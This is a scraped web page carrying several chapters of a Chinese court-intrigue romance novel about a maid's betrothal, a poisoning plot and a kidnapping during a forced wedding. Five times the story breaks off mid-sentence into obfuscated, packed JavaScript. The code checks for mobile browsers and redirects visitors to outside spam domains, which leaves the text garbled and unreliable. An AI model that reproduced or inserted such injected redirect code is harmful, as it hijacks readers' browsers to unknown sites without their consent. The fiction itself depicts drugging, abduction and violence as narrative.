这边,红玉吃力地将船划到岸边,刚系好船绳,就看到元青跑了回来,手里还拿着一个青色的包袱。 他用一只手挡住眼睛,另一只手将包袱递了过来,声音里带着些不自在:“给……给菱角,让她穿上。” 红玉连忙接过包袱,还未来得及说话,元青又转身跑走了。 菱儿打开包袱一看,里面是一件披风。 她抬头朝着元青离开的方向望了望,心里泛起一阵异样的涟漪。 “快穿上吧,不然这副样子被别人看到,就不好了。” 红玉笑着说道,伸手帮菱儿将披风披好。三人一起回了玉恒居。 元青回到观澜居,立刻将莲池边发生的事禀告了谢宴之。 “可查到了那蒙面丫鬟是何人?” 元青垂着头道:“查到了,那丫鬟是城外破庙里的乞丐,我们找到她的时候,她已经躺在地上没气了。” “看样子是被人灭了口。” 谢宴之听了这话,揉了揉眉心,眼底闪过一丝冷意。 背后之人明显是冲着沈清念来的,会是谁呢? “继续查!” “是!”元青得了吩咐,退出了屋子。 玉恒居内,沈清念让人烧了热水,给菱儿泡了个热水澡,又找了一身干净的衣裳给她换上。 菱儿坐在梳妆台前,脸上的红晕还未褪去。 沈清念看着她的样子,试探着问道:“菱儿,今日你与元青在莲池边的事,你心里是如何想的?” 第一百六十八章 菱儿也是有婚约的人了 菱儿愣了一下,随即明白了沈清念的意思,手指紧张地揪着衣角,脸颊更红了:“小姐,我……” 沈清念看着她羞涩的模样,温柔地说道:“你若是心悦元青,我便让他对你负责,风风光光地娶你进门。 “若是你对他无意,我便去敲打敲打他,让他忘了今日之事。” “这样,你往后也好嫁人。” 菱儿羞红了脸:“小姐,我…我不嫁人!” 沈清念挑了挑眉,故意逗她:“哦?看来你是对他无意了。” “那正好,元青也到了婚配的年纪了,我瞧着红玉是个好姑娘,不如……” 沈清念话还未说完,菱儿一下就急了:“小姐!我……”说着,又低下了头。 沈清念见她那模样,心里也有了数。 她轻轻拍了拍她的手背,语气温和:“菱儿,你若是真喜欢他,便要争取,要珍惜。不然,往后后悔也来不及了。” 菱儿垂着头,声若蚊蚋:“可万一元青不喜欢我,只是因为今日的事,才被逼着要娶我,那我……我可不愿这样。” 沈清念闻言,脸上浮现出一丝笑意,伸手揉了揉她的发顶:“你放心,元青肯定乐意的。” 菱儿一脸疑惑看向自家小姐:“小姐怎么知道?” 沈清念看着菱儿一脸疑惑的样子,心道这玉恒居的人都知道元青对菱儿的心意,恐怕只有这丫头还不知道吧。 “我自有法子让他表明心意,你就按我的法子做。” 过了晌午,菱儿忽然发起了高热。 大夫过来看过,说是菱儿的情况十分严重。 元青听说后,心里很是担心,便立刻赶了过来。 一进屋子,便见菱儿眉头皱得紧紧的,嘴里还时不时呢喃着几句胡话。 模样看起来十分难受。 元青的心里也跟着难受起来。 沈清念看着元青,忽然道:“元青,今日你救了菱儿的事,还请当做什么都没发生。” “我不想她以后的夫君因为今日的事……” “我娶她。”沈清念话还没说完,元青便打断了她。 “她的身子是我看的,我会娶她的。”元青又补了一句。 沈清念摇摇头:“不成,你不必为此负责。菱儿也没说过要你负责。” “我也不会答应的。” “你们只需忘了今日的事,以后男婚女嫁,没有影响的。” “不。”元青上前一步,忽然“扑通”一声跪在沈清念面前。 “我是心悦菱角的。没有今日的事,我也想娶她,照顾她。给她买一辈子瓜子。” “清姑娘,请你成全我。” 沈清念看着他,脸上露出几分遗憾:“可菱儿还小,今年才十三,你已经到了娶妻的年纪了。” “你要娶她,还得等上两年,这两年里,你可能会遇到更好的姑娘,你真的能等吗?” “我能等的。”元青立即说道,语气里没有一丝犹豫。 “别说等两年,就算等五年、十年,我也愿意。只要能娶到菱角。” 沈清念瞥了一眼床上躺着的人,见她眼角滑下一行泪,又转头看向元青,仍是摇摇头:“我做不了主。” “清姑娘!”元青有些急了。 沈清念笑道:“我想你应该亲自问问她。”说着,朝床上的菱儿递了递下巴。 元青愣了一下,随即反应过来,猛地转头看向床上的菱儿。 原来方才是清姑娘和菱儿在试探自己。 元青笑了笑。 菱儿见他看过来,慌忙用被子盖住了自己的脸。 沈清念看了元青一眼,轻轻推开门,静静退了出去。 红玉见沈清念出来,赶紧迎上去,小声问:“姨娘,里面怎么样了?” 沈清念没说话,只是拉着红玉的手,站在门外静静等着。 屋内,元青起身走到床边,小心翼翼地伸出手,想要扯下菱儿脸上的被子:“菱角,你别躲,我有话跟你说。” 菱儿死死扯住被子:“你走!你走!不要理我!” 闷闷的声音里还带着几分羞恼。 元青看着被子里鼓起的小团子,忍不住笑了。 菱儿这副样子,一看就是害羞了。 他顺着她的话,故意放缓了语气:“好好好,我走,我这就走。”说着,他慢慢起身,脚步故意放得很重,让菱儿能清楚地听到他离开的声音。 菱儿听见元青真的走了,一下拿开了脸上的被子,心里竟莫名泛起一丝失落。 她赶紧起身穿好鞋,正欲朝门口走去。 “你是要去找我?” 突然的声音吓了菱儿一跳,她转身一看,就见元青从洗脸架边上探出身来, 脸上满是笑意。 “谁找你了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542861|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>菱儿的脸颊瞬间又烫了起来,赶紧转过身,背对着元青。 元青走到她面前,轻轻握住了她的手。 菱儿的脸更烫了,下意识地想抽出自己的手,可元青抓得很紧,根本抽不出来。 元青怎么会放手呢?他不能让她一直这样逃避他,躲着他。 今日,他必须让她明白自己的心意。 “我跟清姑娘说的是真的,我心悦你,想娶你,你愿不愿?” 菱儿抬眸,看着元青一脸的真诚。 他清澈的眸子里,是她的样子。 菱儿想起沈清念对她说过的话,要勇敢,要珍惜。 她随即轻轻点了点头。 元青愣了一下,随即反应过来,高兴得一把将菱儿抱了起来,原地转了好几个圈。 菱儿忽然被人抱起,吓得惊呼出声:“你放我下来!” 门外,沈清念和红玉悄悄探出身来,看到这一幕,相视一笑。 沈清念走进去,看着元青,语气带着几分郑重:“元青,我今日就将菱儿交给你了。将来,不论发生何事,你都要护着她,你可做得到?” 元青立刻回道:“我一定护好菱儿,哪怕是要我的性命!” 菱儿听了这话,已经是泪眼盈盈。 “好!”沈清念听到这话,心里为菱儿感到欣慰。 “那我就去请世子过来,让他做个见证,为你们写下婚书。” “谢清姑娘!”元青赶紧对着沈清念深深作了一揖,眼神里满是感激。 菱儿站在一旁,脸颊又红了,害羞地低下了头,指尖轻轻绞着衣角。 谢宴之得知此事,自然十分乐意。菱儿自小跟着沈清念,元青又自小跟着他。 他当然也乐得见他们这一对喜结良缘。 他当即挥笔,写下了婚书。 当沈清念将婚书递到菱儿和元青手中时,二人双双跪在地上,眼眶都红了。 菱儿哽咽着,声音带着几分颤抖:“小姐……” 沈清念轻轻将她扶起来,伸手擦去她眼角的泪水,笑着说:“这是好事,怎么还哭了?” “真好,我们菱儿也是有婚约的人了,以后再也不是孤零零一个人了。” 说着,沈清念的眼眶也泛起了红。 以后菱儿有元青护着,再也不像从前跟着她那样,受苦了。 她以后,也不会再带着她了…… 第一百六十九章 红穗 入夜,谢宴之就着月色到了玉恒居。 看着纱窗上的倩影,谢宴之的脚步顿了顿。 元青和菱儿的婚事定了下来,那她这次是真的会安分留在他身边了吧。 这样想着,谢宴之掀了帘子。 只见屋内昏黄的烛火摇曳着,沈清念正拿着绣绷,在灯下绣着什么。 模样是那样专心。 连有人掀起了帘子都不曾察觉,纤长的睫毛在眼下投出浅浅的阴影,侧脸的轮廓被暖光晕得柔和。 谢宴之看见她手上绣的是男子用的荷包。 那料子是那日他要的,那荷包是给谁的,不言而喻。 谢宴之不忍打破眼前的温馨,就这样站在帘子那里,静静看着。 沈清念绣荷包的样子,像极了寻常人家的妻,守着一盏灯,等着晚归的夫君。 想到这儿,谢宴之怔了怔。 沈清念是妾,不是妻。他总是会不自觉地将她当成妻。他有时也不知道自己是在想什么。 但他确实很喜欢她,喜欢她现在露在烛火里的温柔,喜欢她讨好他时,带着的细软语调。 他想,除了正妻的身份,他可以给她想要的一切。 但他会为她选一房好的主母,温柔大度,对她能像亲姐妹一样的。 让她在这深宅里安稳度日。 只是,他为她考虑那样多,她心里知不知道,他其实就是她的良人呢? “在做什么?”谢宴之还是装作不知。 谢宴之忽然出声,沈清念吓了一跳。 她手里的绣花针猛地一偏,针尖狠狠扎进指尖,一粒鲜红的血珠瞬间冒了出来。 “怎么这么不小心,我有这么吓人?”谢宴之快步上前,一把攥住她的手腕,小心翼翼地用指腹擦去血珠。 沈清念皱着眉,抽了抽手却没抽开,带着点娇嗔道:“谁让你在人背后突然出声!” 谢宴之才看清那个荷包,边角已经绣好了缠枝莲纹,针脚细密,一看便费了不少心思。 “是给我的?”谢宴之的语气里有些轻快地意味。 明知故问! 沈清念心里暗道。 看在他成全了菱儿和元青的婚事,她绣一个荷包给他,两不相欠。 谢宴之闻言,伸手将她紧紧搂在怀里,低头在她耳边轻声说:“我日后一定为你寻个温柔不善妒的主母,你就安心留在我身边吧。 虽然谢宴之这话说得突然,但沈清念能感觉到谢宴之话里带了几分温情。 一时分不清他是在祈求还是命令。 不过,她还是觉得谢宴之有些好笑。 这世间哪有女子真的愿意与别人共享一夫?所谓那些妻妾姐妹情深,不过是迷惑男子的表象,林氏不就是个例子? “嗯?”在她出神之际,谢宴之又问了一声。 介于谢宴之的好心,她还是抬眸看着谢宴之的脸,带着些感激的笑意,轻声道:“夫君待我真好。” 谢宴之见她这般柔顺温婉的模样,朝着沈清念的额头轻轻吻了下去。 屋内静了下来,只剩烛火在风里轻轻摇晃,将两人缠绵的影子映在纱帐上。 将军府内。 李慧妍看了手中的信,脸一下沉了下来。 还好她反应快,找人处理了那个乞丐。不然,现在谢宴之已经找上门来了。 她走到梳妆台前坐着,金螺过来替她拆掉发上的朱钗。 “小姐,看来那个三小姐也是个成事不足的。” “差点连累您被人发现。” 李慧妍看着镜中自己那姣好的容颜,用手轻轻碰了碰耳后的发,平静道:“无妨,还有机会。” 下一次,她亲自出手,定要报了谢宴之羞辱之恨。 接下来的几日,谢宴之出动了不少人手,终于这一日,元青扛着一个麻袋跟在谢宴之身后。 谢宴之进了林氏的屋子,元青将麻袋扔在了地上。 林氏先是一脸惊诧,不知谢宴之要做什么。 那麻袋里传来了细微的挣扎声,她才明白那里面是装了一个人。 她打量了那个麻袋一眼,又带着些确认的眼神看向谢宴之。 谢宴之微微颔首,对着元青道:“打开!” “是。” 元青上前打开了麻袋,露出麻袋里人的样子。 林氏眼里是难以置信。 眼前的人,虽然被蒙着眼,嘴里也塞着布条。 她还是一眼就看出这是那个日日跟在她身边,情如姐妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548029|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的丫鬟红穗。 林氏的心绪一时有些复杂,当年她爱而不得之时,是红穗一直陪着她,陪她度过了那些难捱的日子。 她心里也有太多疑问。 她想问她当年为何要蛊惑她给奕郎下蛊。 想问她后来怎么就消失了? 想问她这些年去了哪里? 元青将红穗手上的绳子解开后,红穗一下扯下蒙住眼的布条,又扯掉塞在嘴里的布条。 “红穗!”林氏忍不住开口,袖子里的手在轻轻颤抖,分不清是愤怒还是什么。 地上的红穗动作一顿,她的眼睛刚见了光,还不太适应,但她还是抬起头看向前面的人影。 面前有两个人正看着她。 随着人影越来越清晰,她终于看清了椅子上坐着的妇人。 那容颜渐渐与她记忆里那个娇俏的二小姐相重叠。 她又赶紧低下头,终于知晓今日为何会被人抓至此处。 二小姐抓她,无非就是谢二爷的蛊毒的事暴露了。 这十年来,她一直躲得好好的,要不是此次突然回京,绝不会被二小姐捉住的。 “这位夫人,您认错人了。奴婢叫汀兰。” 林氏听着红穗这疏离的话,复杂的情绪一下消失。 或许,她从未真正了解过那个日日跟在自己身边的人到底是什么人。 她收起了眼里那一丝重见故人的复杂情感,眼里只剩下冷漠。 “不论你是红穗还是汀兰,你告诉我如何才能解了奕郎的蛊。” 红穗仍是狡辩:“夫人,奴婢不是红穗,更不知如何解蛊。” “若我能让你姐姐离了广德侯府呢?”谢宴之的声音突然响起。 红穗这才看到旁边坐着的谢宴之。 她刚开始还以为是谢昭,再看了一眼后,才发现这人恐怕是靖南侯府的世子谢宴之。 听到可以让她姐姐离开广德侯府,红穗心里有一丝犹豫。 可转眼一想,这些权贵视她们为蝼蚁,他们的话又怎么能信。 红穗仍是不说话。 “元青,去杀了那个叫红韵的女人。”谢宴之吩咐道。 “是。” 元青领命,按着腰间的佩剑就要跨出门去。 第一百七十章 陆元璋 闻言,红穗瞳孔瞬间放大,脸上露出了一丝慌张。 那人会护住姐姐吧? 可脑海里又是那个面容憔悴的身影,病恹恹地躺在榻上,枯槁的手握着她的手:“妹妹,什么时候我才能从这牢笼出去?” 姐姐望向窗外的飞鸟,眼里露出那样渴望又绝望的眼神。 她这次回来,就是姐姐给她来信,姐姐时日不多了,想让她在她离世后,带她回家。 她不敢赌。 “慢着!”红穗喝止住元青。 “杀了我姐姐,谢二爷的蛊就永远解不了!”红穗看向谢宴之,眼神坚定,不似说谎。 “你在威胁我?” 谢宴之看着她,眼中全是冷意。 “你们要的引子,在她身上。” “她要是**,引子就没了。谢世子若是不信,大可一试!” 林氏闻言,看向谢宴之,眼里透着几分焦急。 谢宴之目光里带着探究,若有所思看着红穗:“我很好奇,你一个小小婢女,怎会有如此本事?” 红穗闻言,轻笑了一声:“那蛊不是我的。” 她哪有这样的本事。 有这般本事的是,是她的姐姐红韵。 不,应当说是她家小姐红韵。 当初她无名无姓到了苗寨,是小姐一家收留了她。 小姐还给她取了红穗这个名字。 林氏心中又是一惊,当初红穗对这蛊很是熟悉。 这蛊竟然不是红穗的。 林氏挑着眉,指着红穗道:“当年你分明说那是你家乡之物。难道你那时就在骗我?” 红穗看了一眼林氏,见她眼里先是震惊,而后又变为难过,最后是气恼。 见林氏如此,红穗心里也有些愧疚。 当初小姐的父亲与人斗蛊落败,连累夫人也遭蛊虫反噬。 夫妇二人离世后,她和小姐只留下了老爷这只蛊虫。 后来二人流落京城,落入人贩手中。小姐因为异域风情的长相,被广德侯府的陆二爷买走。 而她,则被林府的人买走给林氏做了丫鬟。 在林府的那些年里,林氏虽然性子有些骄纵,但是待她很好。 所以,红穗躲开林氏的目光,如从前一样恭敬:“我自幼在苗疆长大,那蛊确实是熟知的。” “你当年为何要蛊惑我给奕郎下蛊!” “奕郎中蛊的第二日你就失去了音信,让我连个法子都没有。” “你知不知道这些年我心里有多苦!” 林氏说着,起身来到了红穗的面前,发泄着似地摇着红穗的肩。 “对不起。” 红穗弱弱的声音传来。 是她骗了林氏。 那蛊虫就算不受伤,也会让中蛊之人呈现濒死之状,如同行尸走肉。 这才是那人让她来做这件事的真实意图啊! 林氏哭了一会儿,似发泄完了心中那些难言的情绪。 “为何要对奕郎下手?” 红穗仔细回想着当年她听到的那些话。 “谢松衍倒是不足畏惧,一介书生,毫无魄力,空有个侯爷的名头。” “但谢松奕!这次又被他抢到了军功!再这样下去,靖南侯府迟早要在谢松奕的运筹帷幄下,重回百年世家之列。” “他如今圣宠正盛,恐怕难以下手!” “我不会让他轻易死,我要他好好受折磨……”最后那个阴狠的声音,现在想起来都还让红穗心中发怵。 “那人用我姐姐红韵威胁我。”红穗如实说道 “不过,奴婢想是二爷当年风头太盛,惹了旁人的嫉妒!” “有人不希望靖南侯府兴旺起来。” 她又朝着林氏跪了下去:“二小姐。” 林氏听着这声二小姐,喉头苦涩难当。 “当日那人承诺事成便放了我姐姐。只是待我去的时候,却被人埋伏,是姐姐以死相逼,我才侥幸留了一条命。” 说着,红穗解开扣子,露出了肩上的骇人伤痕,让人一看就知她那时受了很重的刀伤。 对于林氏,红穗心中始终是亏欠的。 林氏见状,沉默不语。 红穗又道:“若我没猜错的话,二爷这几日身子很不好。” 谢宴之那道犀利的目光立刻看了过来:“你如何得知? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16548030|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 红穗听到谢宴之这话,眼眶红红:“因为我姐姐要**。” 谢宴之眉头一皱,直直盯着她,示意她继续说下去。 这蛊与别的蛊不同,人人都以为母虫才是子虫存活的关键。 其实,引子才是那关键之处,三者缺一不可。 不然老爷和夫人当年便不会双双殒命。 “谢世子若是能早些救出我姐姐,二爷恐还有救,再晚下去,恐怕就无力回天了。” “哪怕是有二小姐的蛊血喂养,也无济于事。” 听到这话,林氏攥紧了手中的绢帕。 谢宴之亦有所思。 片刻后,谢宴之唤了元青进来:“将人先带下去好生看管。” “还请世子快些。”红穗被元青带走的时候,回头又补了一句,这才跟着元青下去了。 听红穗说了这些多,谢宴之已经知道害二叔的幕后之人究竟是谁。 他只是不知这些年,这人竟藏得这样深。 林氏也想了想红穗的话,脑中忽然冒出了一个人名来:陆元璋。 “宴哥儿,是陆元璋!”林氏对着谢宴之说道。 谢宴之微微颔首。 见状,林氏跌坐在椅子上。 一时难以接受,十年前,陆元璋借她之手,害了奕郎。 如今,敏儿又要与害她父亲的人成婚。 林氏心中一时五味杂陈,不知道这到底是什么冤债。 同样接受不了的,还有躲在门外的谢敏。 她不敢相信,竟是自己的母亲,亲手将父亲毒害成那样! 她心里埋怨了父亲那么多年,恨了那么多年。没想到这一切都是她挚爱的母亲为了与一个姨娘争宠,狠心为之。 她更不敢相信,这幕后之人,竟是陆元璋那个畜生! 这样想着,谢敏心中疼痛难忍,腹中也是一阵翻滚,她一手扶着墙,一手捂着胸口,踉踉跄跄地回到了自己的屋子。 待哭过一场后,谢敏神情坚定,似做了某种决定,随即喊来了自己的婢女。 至那之后,谢敏便再没出过自己的屋子,直到她与陆元璋的大婚那日。 第一百七十一章 晦气 吉日来到。 京城的街道上,在一片锣鼓声中,陆元璋一身正红绣金婚袍,骑着高头大马,带着八抬大轿,浩浩荡荡地来到靖南侯府门前。 看着红绸装点的马车里载着满满的聘礼周遭的百姓投来艳羡的目光,也有偷摸指指点点的。 说那陆元璋都能当新妇的父亲了,简直是恬不知耻。 陆元璋下马,一脸的春风得意。看到谢宴之冰山一样的脸,陆元璋面上笑得更开了。 这桩亲事是圣上亲自下旨的。就算谢宴之再不愿,也不能拿靖南侯府上下来违抗皇命。 门口的小厮得了赏钱,将陆元璋迎了进去。 沿途的仆妇丫鬟虽也躬身道贺,眼神里却藏着几分异样,自始至终,竟连半个出来拦门逗趣的人都没有。 陆元璋还是保持着脸上的笑容,很快就来到了谢敏的屋子。 一进门,陆元璋就看见谢敏一身大红嫁衣坐在床边,大红盖头遮住了面容,只露出一截莹白如玉的下颌。 陆元璋看了一眼谢敏的肚子后,一言不发走过去,弯腰将她抱了起来。 谢敏忽然被人抱起来,身子忍不住颤抖了一下,心里还是无法克制对陆元璋的恐惧。 府门前,林氏掏出帕子抹遮泪,眼里满是对谢敏的不舍。 老夫人浑浊的眼里满是无奈和愤懑。 谢敏的身子本就是给陆元璋糟蹋的,现在他又求得皇上赐婚,也算是给了靖南侯府一个交代。 可是谢敏本是二房的嫡女,若不是陆元璋用强,谢敏又何须嫁给一个年纪如父亲这般年纪的人! 皇命不可违,老夫人心里暗暗叹了口气。 大夫人薛氏也有些同情谢敏。 这事也让她心中有了警醒,她的抓紧为谢敏觅得好夫婿。 万不可像谢敏这样,人前瞧着风光,人后那些辛酸却不是一般人能承受的。 只有谢宴之,深邃的眸子看着陆元璋将人抱走,面上平静,让人看不出他的情绪。 陆元璋看着谢宴之的神色,凑到谢敏的耳边道:“办妥了吗?” 谢敏一怔,随后才反应过来。 “嗯。”谢敏的声音从盖头下传来,细细的。 陆元璋听后,会心一笑,眼底闪过一丝精光。 看了一眼装满嫁妆的箱子后,轻轻将谢敏放进了花轿中,在围观的百姓看来,这陆二爷对新妇很是体贴。 随后,陆元璋翻身上马,又朝着谢宴之得意地笑了笑,这才带着迎亲队伍,往广德侯府去。 谢宴之看着迎亲队伍走远,心里只想着元青和红穗一定要快些回来。 今日一早就有下人来报,谢二爷又吐了些血,谢宴之和沈清念就赶到谢奕松的屋子看了看。 苏姨娘守在边上,谢宴之见谢奕松仍是闭着眼睛,嘴角带着些红,脸色又灰败下来,看起来十分难受。 “大公子!二爷他……”见谢宴之进来,苏姨娘的眼泪滚落下来。 若大公子还不快些将那叫红韵的女子带回来,二爷恐怕真的就…… 谢宴之看了沈清念一眼,示意她不用着急,一切他都安排好了。 就是要趁着今日陆元璋大婚,才好潜入广德侯府,将人带走。 现在陆元璋走了,谢宴之还是决定亲自去广德侯府外接应元青他们。 谢宴之不知道,他刚走了一会儿,门口就来了两个丫鬟,对着门口喊道:“清姨娘!” 沈清念从屋子里出来,见两个丫鬟很是面生,有了上次险些被人推入水中的事,她心生了几分警觉。 “你们是谁,找我何事?”沈清念盯着二人。 那两个丫鬟面色焦急地福了一礼:“清姨娘,是菱儿姐姐让我们来找您的。” “菱儿?”沈清念一早就让菱儿去给老夫人处说一声,她要留在苏姨娘这儿,帮着看护二爷。 “是,菱儿姐姐不知哪里惹怒了老夫人,现在要被老夫人杖责!” 沈清念心里一紧,今日谢敏出阁,老夫人心里很不满意这桩婚事,不知菱儿又是怎么惹了老夫人不悦了。 “清姨娘,您快去吧。”说着,还拿出了一个荷包给沈清念看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16555570|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈清念一眼就认出这是菱儿的。 “菱儿姐姐偷偷塞给我们的,要我们找姨娘报信。” “只要给姨娘报了信,这荷包里的铜板就给我们两个了,我们这才……” 沈清念接过荷包,又唤了红玉,往问心堂去了。 只是她们二人刚转过一道门,那两个丫头就从后面窜出,拿出浸了药的毛巾,捂住了她们的口鼻。 不过片刻,沈清念和红玉便眼前一黑,晕了过去。 那两个丫鬟又迅速将沈清念抬进一口早已备好的红木箱。 盖紧箱盖,又在箱子角落刻下一道细微的划痕作为标记。 随后混在了谢敏的陪嫁队伍里,悄无声息地运出了靖南侯府。 红玉则被捆住了手脚,扔在了假山后。 这头,陆元璋已将谢敏迎进了广德侯府,二人拜完堂以后,他径直去了前厅待客,谢敏则由喜婆和丫鬟领着进了新房。 待陆元璋招待完前厅的客人,又浑身酒气地来到了新房。一进来就将丫鬟和婆子全都赶出了屋子。 屋子里忽然安静下来,谢敏的心提到了嗓子眼。 她害怕与陆元璋独处。 就在她的手紧紧攥住帕子时,陆元璋忽然粗鲁地扯掉了她头上的盖头。 看着谢敏将脸涂得那样白,嘴唇又涂抹得像鲜血一般。 陆元璋抬手给了她一记耳光! “晦气!大喜的日子,画得跟**一样!” 谢敏被这忽然的一记耳光扇得倒在了床上。 她撑起身,捂着脸。 火辣辣的疼让她眼里泪光闪闪,想着现在还不是时候,她眼里的恨意也一闪而过。 只转身,委屈巴巴地看着陆元璋,双肩也不自觉地微微颤抖起来,那模样看起来害怕极了。 陆元璋见状,更是无半点兴致。 “照顾好我儿子,不然要你好看!” 留下这样一句话,陆元璋抬脚走出了屋子。 谢敏见陆元璋走了出去,伸手擦掉了眼中的泪,那蓬勃的恨意也喷涌而出,脸上不自觉地扬起了一丝笑。 第一百七十二章 二夫人,到你了 陆元璋快步来到了一处偏院,下人早已按照他的吩咐,将一口打了标记的大红箱子抬到了这屋子里。 陆元璋一到门口,就见到了那口箱子放在床边。 他走进去,伸手摸在那箱子上,伸出舌头舔了舔了牙槽,眼里满是精光。 “沈清念,看你今日还怎么逃。” 陆元璋心中难掩得意。 他早就跟谢敏约定好了,在他们大婚之日,谢敏便想法子将沈清念骗到,撞进装嫁妆的箱子,跟着花轿一起进入广德侯府。 否则,他要她好看! 恐怕谢宴之此时还不知沈清念已经到了他的府上了吧。 想到这儿,陆元璋心情大好。 他伸手打开了箱子,见沈清念蜷缩着身子,躺在箱子里。 面上的乌发遮住了她姣好的容颜,只剩下一点侧脸露在外面。 整个人看着安安静静的,没前两次鲜活。 陆元璋见状,知道是谢敏给沈清念下了**,看样子那药效还未过去。 他咧开嘴,笑了笑。这样也好,她这样虚弱,总不能再逃了,再出手打伤他了! 陆元璋伸手想要将沈清念抱出来。 只是他才刚伸手,沈清念就主动勾上了他的脖子,另一手挡在脸上,一个劲儿往他怀里缩。 看样子似乎是刚从箱子里出来,对屋子里的烛火不太适应,只好用宽大的袖子挡住眼前晃动的烛光。 陆元璋感受到沈清念的动作,手在她柔软的腰肢上捏了捏,心情更加舒畅。 原来这女人温柔起来,更让他欲罢不能。 他身上的火气一下就起了来,随即抱着沈清念吹灭了烛火,又转身将人放到了床上,不一会儿就见衣裳腰带从纱帐里被人扔出来,掉落在地上…… 此时,一处屋子里,躲在嫁妆箱子里的红穗和元青听见屋子里没了声响,也从箱子里爬了出来。 二人隔着门缝瞧了瞧,见门口只有一名守卫。元青做了个让我来的手势。 红穗随即让到一边,元青闪身到了那守卫身后,一掌劈在他的脖颈处,那守卫便晕倒了。 二人小心翼翼出了院子,往红韵的院子赶去。 因红穗前几日来了京城,就一直与红韵在一处,元青便一路跟着红穗,躲过了几轮守卫后,二人很快就找到了红韵所在的屋子。 红穗推开门,见屋子里只剩下一截残烛,床上躺着个二十多岁的女子,似睡着了一般,没有什么生气。 待二人进了屋子后,元青转身关上了门。 床上的人被吵醒了,吃力地要起身,嘴里欲发出声音。 “姐姐。” 红穗忽然出声,阻止了红韵。 从她们一路辗转来到京城的路上,红韵就与红穗约好,二人以后以姐妹相称。 红韵一下就听出了红穗的声音,循声看去,红穗就在她眼前。 红韵红着眼道: “红穗,这些日子你到哪里去了?” 红穗被抓走这些日子,红韵每日都担心得睡不着觉。 她身中蛊毒,这些年早已虚弱不堪,根本无力出院子找人帮忙寻找红穗。 说着,红韵看了看她身后的元青,眼里有些害怕。 红穗上前,流着泪:“姐姐,别怕,我是去找人来救你了。”说着就要去背红韵。 元青见状,主动走上前去:“我来吧。” 红穗朝着红韵点点头,又回头看了眼元青:“有劳元青小哥了。” 广德侯府外,谢宴之坐在马车里,等着元青的信号。 只要他和红穗救出了红韵,便由暗卫进去接应。 只是天色已晚,不知里面情况如何了。 谢宴之的手,不禁握成了拳。 这时,他见远处的暗卫进了一处墙边,料想是元青已经找到了红韵。 果不其然,一会儿便见暗卫抓着红穗,元青背上则背着一女子,飞快朝马车边来了。 “大公子!”元青说着,便将人放进了马车中。 红穗也跟了进去,马车便往靖南侯府赶去。 马车里,见红韵看了眼谢宴之,红穗道:“这是靖南侯府的谢世子。” 听红穗提到靖南侯府,红韵心里也有了数。 今夜应当是要她去救那位被下了蛊的二爷了。 “多谢世子。”红韵朝着谢宴之点头行礼。 谢宴之微微颔首,他料想眼前之人应该已经知道此行的目的。 马车疾驰在路上,很快就到了靖南侯府。 谢宴之不敢耽误,直接将人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第一百七十三章 撑起身子呕吐起来 林氏见到刚才那一幕,眼里有些震惊,却没有预想的那样害怕。 红穗已经告诉过她祛除母虫需要付出的代价,再见这番情景,她心中已有了准备,便不再害怕了。 林氏上前,露出一截手臂,示意红穗动手。 红穗拿着**的手微微发着抖,刚刚割红韵的手已经让她心中有些承受不住。 林氏见状,将**从她手中夺过来,狠狠扎了进去。 一瞬间鲜血直流,林氏死死咬住嘴唇,继续用力划着刀。 皮肉撕裂的声音传来,那声音让人听着都觉着疼。 可是即使伤口已经很深,却始终不见那条母虫出来。 “红穗!快打开瓶子!” 听到红韵的话,红穗才回过神来,将瓶子对着那手臂。 